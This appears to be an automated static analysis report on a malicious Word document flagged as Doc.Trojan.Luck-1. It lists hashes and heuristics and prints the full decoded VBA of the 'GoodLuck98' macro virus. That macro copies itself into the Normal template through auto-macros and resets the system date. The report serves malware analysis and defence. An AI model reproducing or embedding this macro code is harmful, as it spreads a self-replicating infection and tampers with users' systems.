Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 be5c306018a0265d…

MALICIOUS

Office (OLE)

36.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 65e0c25d22a9675a1df45dbcb461a0ed SHA-1: f3c1ed86aaebd3eba4e8a9eac9ef0924960bbe49 SHA-256: be5c306018a0265da9a3ee540268d37d9e8bea189e2ecd87f09cb1935ed74855
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Luck-1. It contains VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon opening or closing a document. The AutoExit subroutine attempts to engage the user with a mathematical puzzle, potentially as a method to bypass security prompts or distract the user while malicious actions are performed.

Heuristics 5

  • ClamAV: Doc.Trojan.Luck-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Luck-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8845 bytes
SHA-256: 06cf1bfa93be71c152d4a98fe70e5f09ccb6f608146dfafc62eb3e0a23595545
Detection
ClamAV: Doc.Trojan.Luck-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "GoodLuck98"
Sub AutoExit()
    
    Dim varResponse As Variant
    Dim intRandom As Integer
    Dim intV As Integer
    Dim intW As Integer
    Dim intX As Integer
    Dim intY As Integer
    Dim intA As Integer
    Dim intAnswer As Integer
    Dim intRandomAnswer As Integer
    Dim intYear As Integer
    Dim longOffset As Long
    
    On Error GoTo Error
    
    Randomize
    intRandomAnswer = Int((2 * Rnd) + 1)
    intA = Int((100 * Rnd) + 1)
    intV = Int((10000 * Rnd) + 1)
    intW = Int((10000 * Rnd) + 1)
    intX = Int((100 * Rnd) + 1)
    intY = Int((100 * Rnd) + 1)
    
    If intRandomAnswer = 1 Then
        intAnswer = intV + intW - intX * intY
    Else
        intAnswer = (intV + intW - intX * intY) + intA
    End If

    intRandom = Int((10 * Rnd) + 1)
    If intRandom = 1 Then
        varResponse = MsgBox(Trim(intV) + " + " + Trim(intW) + " - " + Trim(intX) + " * " + Trim(intY) + _
         " = " + Trim(intAnswer) + " ?", _
        vbYesNo, "Good Luck 98")
        
        If ((varResponse = vbYes) And (intRandomAnswer = 1)) Or ((varResponse = vbNo) And (intRandomAnswer = 2)) Then
            MsgBox "Congratulation, you have done a great job !", vbInformation, "Congratulation !"
        Else
            
            intYear = Year(Date)
            
            longOffset = ((intYear - 1980) * 365#) + Int((intYear - 1980) / 4)
            If (intYear >= 1980) And (intYear <= 2079) Then
                Date = #9/24/80# + longOffset
            Else
                Date = #9/24/98#
            End If
            MsgBox "Sorry, you are wrong !", vbExclamation, "Sorry !"
            MsgBox "Today (" + Trim(Date) + ") is my birthday.", vbInformation, "Happy Birthday !"
        End If
    End If
    Exit Sub
    
Error:
    MsgBox "Sorry, you are wrong !", vbExclamation, "Sorry !"
    
End Sub

Sub AutoClose()

    On Error Resume Next
    
    Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="GoodLuck98", _
        Object:=wdOrganizerObjectProjectItems
    
End Sub

Sub AutoOpen()

    On Error Resume Next
    
    Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument.FullName, Name:="GoodLuck98", _
        Object:=wdOrganizerObjectProjectItems
    
End Sub

Sub AutoNew()

    On Error Resume Next
    
    Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument.FullName, Name:="GoodLuck98", _
        Object:=wdOrganizerObjectProjectItems
    
End Sub

' Processing file: /opt/analyzer/scan_staging/df3d54647b13477cb54f8307b65ca75f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/GoodLuck98 - 4511 bytes
' Line #0:
' 	FuncDefn (Sub AutoExit())
' Line #1:
' Line #2:
' 	Dim 
' 	VarDefn varResponse (As Variant)
' Line #3:
' 	Dim 
' 	VarDefn intRandom (As Integer)
' Line #4:
' 	Dim 
' 	VarDefn intV (As Integer)
' Line #5:
' 	Dim 
' 	VarDefn intW (As Integer)
' Line #6:
' 	Dim 
' 	VarDefn intX (As Integer)
' Line #7:
' 	Dim 
' 	VarDefn intY (As Integer)
' Line #8:
' 	Dim 
' 	VarDefn intA (As Integer)
' Line #9:
' 	Dim 
' 	VarDefn intAnswer (As Integer)
' Line #10:
' 	Dim 
' 	VarDefn intRandomAnswer (As Integer)
' Line #11:
' 	Dim 
' 	VarDefn intYear (As Integer)
' Line #12:
' 	Dim 
' 	VarDefn longOffset (As Long)
' Line #13:
' Line #14:
' 	OnError Error 
' Line #15:
' Line #16:
' 	ArgsCall Read 0x0000 
' Line #17:
' 	LitDI2 0x0002 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	St intRandomAnswer 
' Line #18:
' 	LitDI2 0x0064 
' 	Ld Rnd 
' 	Mul 
' 	Paren 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	St i
... (truncated)